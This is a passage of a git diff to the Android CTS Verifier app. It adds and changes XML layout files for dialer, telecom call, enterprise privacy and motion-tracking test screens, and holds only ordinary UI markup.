+    android:layout_height="match_parent"
+    android:orientation="vertical">
+  <TextView
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/dialer_incoming_call_test"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/set_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_incoming_call_test_instructions"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+      android:id="@+id/set_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_set_default_dialer_button"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/dialer_incoming_call_status"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:id="@+id/dialer_check_incoming_call_explanation"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_check_incoming_call_explanation"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/restore_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:id="@+id/restore_default_dialer_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_description"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+      android:id="@+id/restore_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_restore_default_dialer_button"/>
+
+  <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml b/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml
new file mode 100644
index 0000000..49bfce2
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml
@@ -0,0 +1,126 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+  <TextView
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/dialer_telecom_intents_test"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/set_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_test_instructions"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <TextView
+        android:id="@+id/dialer_check_intents_implemented_explanation"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_check_intents_implemented_explanation"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <Button
+        android:id="@+id/dialer_telecom_intents_call_settings"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_call_settings"/>
+    <CheckBox
+        android:id="@+id/dialer_telecom_intents_call_settings_check_box"
+        android:text="@string/dialer_check_intents_check_box"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <Button
+        android:id="@+id/dialer_telecom_intents_short_sms"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_short_sms"/>
+    <CheckBox
+        android:id="@+id/dialer_telecom_intents_short_sms_check_box"
+        android:text="@string/dialer_check_intents_check_box"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <Button
+        android:id="@+id/dialer_telecom_intents_calling_accounts"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_calling_accounts"/>
+    <CheckBox
+        android:id="@+id/dialer_telecom_intents_calling_accounts_check_box"
+        android:text="@string/dialer_check_intents_check_box"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <Button
+        android:id="@+id/dialer_telecom_intents_accessibility_settings"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_accessibility_settings"/>
+    <CheckBox
+        android:id="@+id/dialer_telecom_intents_accessibility_settings_check_box"
+        android:text="@string/dialer_check_intents_check_box"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+  </LinearLayout>
+
+  <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/dialog_result_accuracy.xml b/apps/CtsVerifier/res/layout/dialog_result_accuracy.xml
new file mode 100644
index 0000000..c499248
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialog_result_accuracy.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/waypoint_differences"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:id="@+id/tvWaypointResult"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="wrap_content"
+                  android:paddingTop="10dp"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:text="@string/path_differences"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:id="@+id/tvPathResult"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/dialog_result_complex_movement.xml b/apps/CtsVerifier/res/layout/dialog_result_complex_movement.xml
new file mode 100644
index 0000000..f3946ec
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialog_result_complex_movement.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/waypoint_differences"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvWaypointResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/rings"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvRingsResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/dialog_result_robustness.xml b/apps/CtsVerifier/res/layout/dialog_result_robustness.xml
new file mode 100644
index 0000000..50c6bb9
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialog_result_robustness.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/waypoint_differences"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvWaypointResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/path_differences"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvPathResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/time"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvTimeResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:paddingTop="10dp"
+                  android:layout_height="wrap_content"
+                  android:orientation="horizontal">
+
+        <TextView android:layout_width="0dp"
+                  android:layout_height="wrap_content"
+                  android:gravity="center"
+                  android:text="@string/rotation_result"
+                  android:layout_weight="1"/>
+        <TextView android:layout_width="0dp"
+                  android:gravity="center"
+                  android:id="@+id/tvRotationResult"
+                  android:layout_height="wrap_content"
+                  android:layout_weight="1"/>
+    </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/enterprise_privacy_negative_test.xml b/apps/CtsVerifier/res/layout/enterprise_privacy_negative_test.xml
new file mode 100644
index 0000000..a5c531b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/enterprise_privacy_negative_test.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:fillViewport="true">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+            <TextView android:id="@+id/info"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_weight="1"
+                android:textSize="18sp"
+                android:padding="5dp" />
+
+            <include layout="@layout/pass_fail_buttons"/>
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/fragment_accuracy.xml b/apps/CtsVerifier/res/layout/fragment_accuracy.xml
new file mode 100644
index 0000000..c5c8b0b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/fragment_accuracy.xml
@@ -0,0 +1,58 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent">
+
+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".75"
+                android:layout_height="match_parent"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".25"
+                android:layout_height="match_parent">
+
+            <include layout="@layout/verifier_buttons"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_below="@+id/tvObjective"
+                    android:paddingTop="20dp"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvTranslations"/>
+
+            <TextView
+                    android:paddingTop="4dp"
+                    android:layout_below="@+id/tvTranslations"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvMarkers"/>
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/fragment_complex_movement.xml b/apps/CtsVerifier/res/layout/fragment_complex_movement.xml
new file mode 100644
index 0000000..f0c30e2
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/fragment_complex_movement.xml
@@ -0,0 +1,51 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent">
+
+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".75"
+                android:layout_height="match_parent"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".25"
+                android:layout_height="match_parent">
+
+            <include layout="@layout/verifier_buttons"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_below="@+id/tvObjective"
+                    android:id="@+id/tvRings"/>
+
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/fragment_robustness.xml b/apps/CtsVerifier/res/layout/fragment_robustness.xml
new file mode 100644
index 0000000..13f1e89
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/fragment_robustness.xml
@@ -0,0 +1,60 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent">
+
+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".75"
+                android:layout_height="match_parent"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="0dp"
+                android:orientation="vertical"
+                android:layout_weight=".25"
+                android:layout_height="match_parent">
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_below="@+id/tvObjective"
+                    android:paddingTop="20dp"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvTimer"/>
+
+            <TextView
+                    android:id="@+id/tvPassColour"
+                    android:layout_width="match_parent"
+                    android:layout_height="50dp"
+                    android:layout_marginTop="50dp"
+                    android:layout_below="@id/tvTimer"
+                    android:background="@color/green"/>
+
+            <include layout="@layout/verifier_buttons"/>
+
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/fragment_start_phase.xml b/apps/CtsVerifier/res/layout/fragment_start_phase.xml
new file mode 100644
index 0000000..73c5802
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/fragment_start_phase.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:paddingLeft="@dimen/activity_horizontal_margin"
+              android:paddingRight="@dimen/activity_horizontal_margin"
+              android:paddingTop="@dimen/activity_vertical_margin"
+              android:paddingBottom="@dimen/activity_vertical_margin"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/phase1_description"
+            android:id="@+id/tvDesc"/>
+
+    <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_horizontal"
+            android:id="@+id/btnStart"
+            android:text="@string/start"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/js_charging.xml b/apps/CtsVerifier/res/layout/js_charging.xml
index 70348fb..feee16e 100644
--- a/apps/CtsVerifier/res/layout/js_charging.xml
+++ b/apps/CtsVerifier/res/layout/js_charging.xml
@@ -17,6 +17,7 @@
                 android:text="@string/js_test_description"
                 android:layout_margin="@dimen/js_padding"/>
             <TextView
+                android:id="@+id/charger_prompt"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:layout_margin="@dimen/js_padding"
@@ -71,12 +72,14 @@
                     android:textSize="16dp"/>
             </LinearLayout>
             <TextView
+                android:id="@+id/unplug_prompt"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:layout_margin="@dimen/js_padding"
                 android:text="@string/js_charging_description_2"
                 android:textStyle="bold"/>
             <LinearLayout
+                android:id="@+id/unplug_test_description"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:layout_marginTop="@dimen/js_padding"
diff --git a/apps/CtsVerifier/res/layout/positive_device_owner.xml b/apps/CtsVerifier/res/layout/positive_device_owner.xml
index fa437de..72cdeb1 100644
--- a/apps/CtsVerifier/res/layout/positive_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/positive_device_owner.xml
@@ -20,7 +20,8 @@
 
     <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
+        android:layout_height="match_parent"
+        android:fillViewport="true">
         <LinearLayout
             android:layout_width="match_parent"
             android:layout_height="match_parent"
@@ -42,9 +43,10 @@
             <ListView
                 android:id="@+id/android:list"
                 android:layout_width="match_parent"
-                android:layout_height="wrap_content" />
+                android:layout_height="0dp"
+                android:layout_weight="1" />
 
             <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
     </ScrollView>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/telecom_incoming_call.xml b/apps/CtsVerifier/res/layout/telecom_incoming_call.xml
new file mode 100644
index 0000000..9151292
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/telecom_incoming_call.xml
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical" android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/telecom_incoming_call_test_info"/>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_1_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_1_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_call_step_1"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_1_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_1_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_1_status"
+            android:id="@+id/telecom_incoming_call_register_enable_phone_account_button"
+            android:text="@string/telecom_incoming_call_register_enable_phone_account_button"/>
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/telecom_incoming_call_register_enable_phone_account_button"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:id="@+id/telecom_incoming_call_confirm_register_button"
+            android:text="@string/telecom_incoming_call_confirm_register_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_2_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_2_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_call_step_2"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_2_status" />
+        <Button
+            android:id="@+id/telecom_incoming_call_dial_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_2_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_2_status"
+            android:text="@string/telecom_incoming_call_dial_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_3_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_3_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_call_step_3"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_3_status" />
+        <Button
+            android:id="@+id/telecom_incoming_call_confirm_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_3_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_3_status"
+            android:text="@string/telecom_incoming_call_confirm_button"/>
+    </RelativeLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/telecom_outgoing_call.xml b/apps/CtsVerifier/res/layout/telecom_outgoing_call.xml
new file mode 100644
index 0000000..c1d6cad
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/telecom_outgoing_call.xml
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical" android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/telecom_outgoing_call_test_info"/>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_1_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_1_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_outgoing_call_step_1"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_1_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_1_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_1_status"
+            android:id="@+id/telecom_outgoing_call_register_enable_phone_account_button"
